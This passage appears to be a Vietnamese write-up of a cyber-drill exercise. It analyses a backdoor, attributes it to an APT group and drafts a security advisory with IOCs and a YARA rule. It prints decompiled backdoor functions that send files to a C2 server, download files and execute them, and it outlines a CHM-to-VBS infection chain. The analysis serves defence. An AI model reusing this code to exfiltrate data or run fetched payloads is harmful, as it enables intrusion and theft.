if ( ReadFile(hFile, lpBuffer, Size, (LPDWORD)&Buffer[1], 0i64) ) { dwHeadersLength = lstrlenW(aContentTypeApp); if ( WinHttpSendRequest(hInternet, aContentTypeApp, dwHeadersLength, 0i64, 0, Size, 0i64) ) { if ( WinHttpWriteData(hInternet, lpBuffer, Size, 0i64) ) WinHttpReceiveResponse(hInternet, 0i64); } } free(lpBuffer); } CloseHandle(hFile); } WinHttpCloseHandle(hInternet); } WinHttpCloseHandle(hConnect); } LODWORD(v1) = WinHttpCloseHandle(hSession); } return (int)v1; } ``` Hàm này dùng để đọc tệp tin nào đó trong Windows và gửi về cho kẻ tấn công case 98: ```c int __fastcall sub_1400018E0(const char *a1, unsigned int a2) { HINTERNET v2; // rax __int16 *v3; // rax unsigned int i; // [rsp+40h] [rbp-58h] void *hInternet; // [rsp+48h] [rbp-50h] DWORD v7; // [rsp+50h] [rbp-48h] LPVOID lpBuffer; // [rsp+58h] [rbp-40h] void *hConnect; // [rsp+60h] [rbp-38h] void *hSession; // [rsp+68h] [rbp-30h] FILE *Stream; // [rsp+78h] [rbp-20h] DWORD dwNumberOfBytesRead; // [rsp+80h] [rbp-18h] BYREF int Buffer; // [rsp+84h] [rbp-14h] BYREF v2 = WinHttpOpen(aHttp10_0, 0, 0i64, 0i64, 0); hSession = v2; if ( v2 ) { v3 = xor_string((__int64)&enc_ipAddr, 59); hConnect = WinHttpConnect(hSession, (LPCWSTR)v3, 0x1388u, 0); if ( hConnect ) { hInternet = WinHttpOpenRequest(hConnect, aPost_0, aDownload, 0i64, 0i64, 0i64, 0); if ( hInternet ) { Buffer = 12544; WinHttpSetOption(hInternet, 0x1Fu, &Buffer, 4u); if ( WinHttpSendRequest(hInternet, 0i64, 0, 0i64, 0, 0, 0i64) ) { if ( WinHttpReceiveResponse(hInternet, 0i64) ) { Stream = fopen(a1, aWb); if ( Stream ) { lpBuffer = malloc(a2); if ( lpBuffer ) { dwNumberOfBytesRead = 0; for ( i = 0; i < a2; i += dwNumberOfBytesRead ) { v7 = a2 - i >= 0x989680 ? 10000000 : a2 - i; if ( !WinHttpReadData(hInternet, lpBuffer, v7, &dwNumberOfBytesRead) || !dwNumberOfBytesRead ) break; fwrite(lpBuffer, 1ui64, dwNumberOfBytesRead, Stream); } free(lpBuffer); } fclose(Stream); } } } WinHttpCloseHandle(hInternet); } WinHttpCloseHandle(hConnect); } LODWORD(v2) = WinHttpCloseHandle(hSession); } return (int)v2; } ``` case này thì sẽ tải một file từ server bằng cách copy nội dung file từ server rồi ghi vào máy nạn nhân. case 100: ```c BOOL __fastcall sub_140001E00(const CHAR *a1) { BOOL result; // eax struct _PROCESS_INFORMATION ProcessInformation; // [rsp+50h] [rbp-A8h] BYREF struct _STARTUPINFOA StartupInfo; // [rsp+70h] [rbp-88h] BYREF memset(&StartupInfo, 0, sizeof(StartupInfo)); StartupInfo.cb = 104; result = CreateProcessA(a1, 0i64, 0i64, 0i64, 0, 0, 0i64, 0i64, &StartupInfo, &ProcessInformation); if ( result ) { WaitForSingleObject(ProcessInformation.hProcess, 0xFFFFFFFF); CloseHandle(ProcessInformation.hProcess); return CloseHandle(ProcessInformation.hThread); } return result; } ``` case này sử dụng để thực thi một file bất kỳ, được chỉ định, có thể kết hợp với case 98 để vừa tải file vừa thực thi. Vừa rồi là tất cả những phân tích của mình về con mã độc này, nó không sử dụng bất kỳ kỹ thuật obfuscate nào, nên cũng dễ phân tích hơn, giờ thì tổng hợp các ý cần thiết rồi gửi cho Oliver. ``` Subject : INJECT 06: IDENTIFY THE ACTORS BEHIND A CYBERATTACK FROM : oliver@woofit.org <Assistant Manager, WOOF-IT Team> TO : cert-submit@ pandoracert.org < PANDORA-CERT > CC : Manager, WOOF-IT Team *** Start Message Body *** Dear PANDORA-CERT, This is Oliver from the WOOF-IT Team. We appreciate the hard work you’ve been doing. The WOOF-IT Team has just started to see improvements, and we have conducted the analysis of the malware that we previously requested from you. I noticed the following behavior: Analysis Results 1. Main Behavior of the Malware - Main functionality of the malware(menual.exe) is backdoor 2. C&C Server Address - 43.201.263.28 3. Strings & Keys - Particular strings used in binaries: CL_6237e466astd - Keys used for string encryption/decryption: 0x1c , 0x3b We would like to implement different security policies based on whether the malware is linked to an APT attack or targets a broader audience. We are wondering if we have become the victim of the same group as reported in the conference a week ago. Please find the presentation archive attached for reference and compare the TTP's outlined in the archive is similar to what has been observed by PANDORA-CERT at the International Cybersecurity Conference. https://conference.apdrill.asia We would like to ask for your assistance in determining if the malware is associated with an APT attack based on the information you have gathered so far. If you conclude that it is indeed linked to an APT group, we would appreciate knowing the identity of the group and the rationale behind your assessment. Requested Information 1. Identification of the actors behind the relevant malware responsible for the attack 2. Rationale for concluding that it is linked to the same attack group We rely on your team's expertise and experience, and we appreciate your support in providing this important information. Thank you for your assistance. Best regards, Oliver Reece Assistant Manager, IT Team WOOF Defense Research Institute *** End Message Body *** *** Objective *** To use the TI reports obtained from the Pre-drill Communications Test to identify the APT attack group and provide the rationale for your assessment. *************** ``` Oliver muốn mình tìm ra tổ chức đứng sau con mã độc này và kỹ thuật nó sử dụng, dựa vào link được cung cấp: `https://conference.apdrill.asia` ta thấy một bài viết trùng với chủ đề của cuộc diến tập, khi click vào thì ta sẽ tải được một [têp pdf](https://github.com/SandydotSec/Apcert/tree/main/Inject06). Trong này sẽ chứa một bài phân tích con mã độc sử dụng kỹ thuật giống như mình vừa phân tích, và tổ chức đứng sau nó là Wally group. Kỹ thuật initial access giống nhau (dùng file CHM với file VBS mã hóa base64), file VBS đó dùng để tải backdoor, backdoor cũng sử dụng XOR để mã hóa và các hành động do malware thực hiện được viết dưới dạng các mã lệnh. ``` Subject : INJECT 07: Request the Issuance of Security Advisory on the APT Attack FROM : oliver@woofit.org <Assistant Manager, WOOF-IT Team> TO : cert-submit@ pandoracert.org < PANDORA-CERT > CC : Manager, WOOF-IT Team *** Start Message Body *** Dear PANDORA-CERT, This is Oliver from the WOOF-IT Team. We really appreciated your cooperation. As you may know, this malware is known to be part of an APT attack targeting organizations. Consequently, similar attacks could affect not only WOOF but also other organizations. We believe that PANDORA-CERT can help mitigate the impact of this attack group by issuing a security advisory. Therefore, we kindly request that PANDORA-CERT issue a security advisory regarding this matter. Many organizations, including ours, rely on signature-based detection methods such as YARA. We would greatly appreciate it if you could include the unique patterns of the malware in the advisory to aid our detection efforts. The malware used in this incident was similar to the one presented at the “International Cybersecurity Conference,” but identified as a variant. The only difference is that the command values used when communicating with the C&C server have changed from 0x2000 ~ 0x2004 to 0x1000 ~ 0x1004. Otherwise it is confirmed to be the same. The contents of several reports are considered helpful for drafting the security advisory. Thank you for your support. Best regards, Oliver Reece Assistant Manager, IT Team WOOF Defense Research Institute *** End Message Body *** *** Objective *** To publish a Security advisory regarding the APT attack *************** ``` **Security Advisory tham khảo:** ``` Security Advisory: Advanced Persistent Threat (APT) Incident by Wally Group Date: August 29, 2024 Advisory Number: VNCERT-2024-APT-01 Severity: High Affected Systems: Windows Affected Organizations: Government agencies, Financial institutions, Energy sectors, and Critical infrastructure # Overview VNCERT has identified a new wave of sophisticated cyber attacks attributed to an Advanced Persistent Threat (APT) group known as "Wally Group." This group has been actively targeting high-profile organizations across various sectors, including government, finance, and critical infrastructure. The attacks involve the deployment of custom malware designed to evade detection, exfiltrate sensitive data, and establish persistent access within the victim machine. # Description The Wally Group is known for using various known initial access method, leveraging Command and Control server. The recent campaign involves the distribution of malware via spear-phishing emails containing malicious attachments, such as .chm file (Compiled HTML Help File). The malware delivery process follows a specific flow to maximize stealth and effectiveness: - Initial Access: The attack begins with a spear-phishing email containing a .chm file, which is designed to look like a legitimate document or help file. When executed, the .chm file runs a command (cmd) to store an encoded Base64 blob on the system. - Payload Decoding: The Base64-encoded payload is then decoded using the certutil command-line utility, which converts the blob into a .vbs (VBScript) file. - VBS Execution: The .vbs file is executed, initiating the next stage of the attack. This script is responsible for downloading a malicious .exe file from a remote server. - Persistence Mechanism: The downloaded .exe file is executed and establishes persistence by modifying the Windows registry, ensuring that the malware is executed every time the system starts. - C2 Communication: The malware establishes communication with command-and-control (C2) servers using custom XOR encryption methods, allowing the attackers to maintain control over the infected system and exfiltrate data. # Impact Organizations affected by this campaign may experience: - Unauthorized access to sensitive information, including intellectual property, confidential communications, and financial data. - Potential disruption of operations due to the malware's capability to run unsafe downloaded binaries from Internet. - Long-term compromise due to the sophisticated persistence mechanisms employed by the attackers. # Recommendations VNCERT strongly advises all organizations, particularly those in the affected sectors, to take immediate action to mitigate the risk of compromise: - Apply YARA Rules: Implement the provided YARA rule to detect the presence of the Wally Group malware on your systems. - Network Segmentation: Ensure that critical network segments are isolated and closely monitored for unusual activity. - Monitor and Detect: Enhance monitoring for signs of compromise, including unusual outbound traffic, unauthorized access attempts, and changes to system files. - User Training: Conduct security awareness training to educate employees about spear-phishing and other social engineering tactics. - Incident Response: Develop and test incident response plans to ensure a swift and coordinated response in the event of an attack. # Detection The following indicators of compromise (IOCs) should be added to your detection systems: - MD5: 860F86601BC18DD205A5EDC0D57A658D - MD5: 0DE9BE1ABA2E6DC3CE016FB24BFAAD9E - Byte Array: 5F 26 40 40 49 6F 79 6E 6F 40 40 39 6F 40 40 5D 6C 6C 58 7D 68 7D 40 40 50 73 7F 7D 70 40 40 48 79 71 6C 40 40 5F 50 43 2A 2E 2F 2B 79 28 2A 2A 7D 6F 68 78 - Byte Array: 0F 08 15 09 0B 0A 15 09 0E 08 15 09 03 # Contact Information For further assistance or to report an incident, please contact VNCERT at: Email: ir@vncert.vn Disclaimer: The information provided in this advisory is intended to assist organizations in protecting against the identified threats. VNCERT assumes no responsibility for any consequences arising from the use of this information. ``` **YARA rule tham khảo:** ``` import "hash" rule APT_Malware_WallyGroup { meta: description = "Detects APT malware distributed by Wally Group" author = "VNCERT" date = "2024-08-29" version = "1.0" strings: $particular_string_encrypted = { 5F 26 40 40 49 6F 79 6E 6F 40 40 39 6F 40 40 5D 6C 6C 58 7D 68 7D 40 40 50 73 7F 7D 70 40 40 48 79 71 6C 40 40 5F 50 43 2A 2E 2F 2B 79 28 2A 2A 7D 6F 68 78 } $ip_address_encrypted = { 0F 08 15 09 0B 0A 15 09 0E 08 15 09 03 } condition: (hash.md5(0, filesize) == "860f86601bc18dd205a5edc0d57a658d" or hash.md5(0, filesize) == "0de9be1aba2e6dc3ce016fb24bfaad9e") or (all of them) } ``` thank for reading.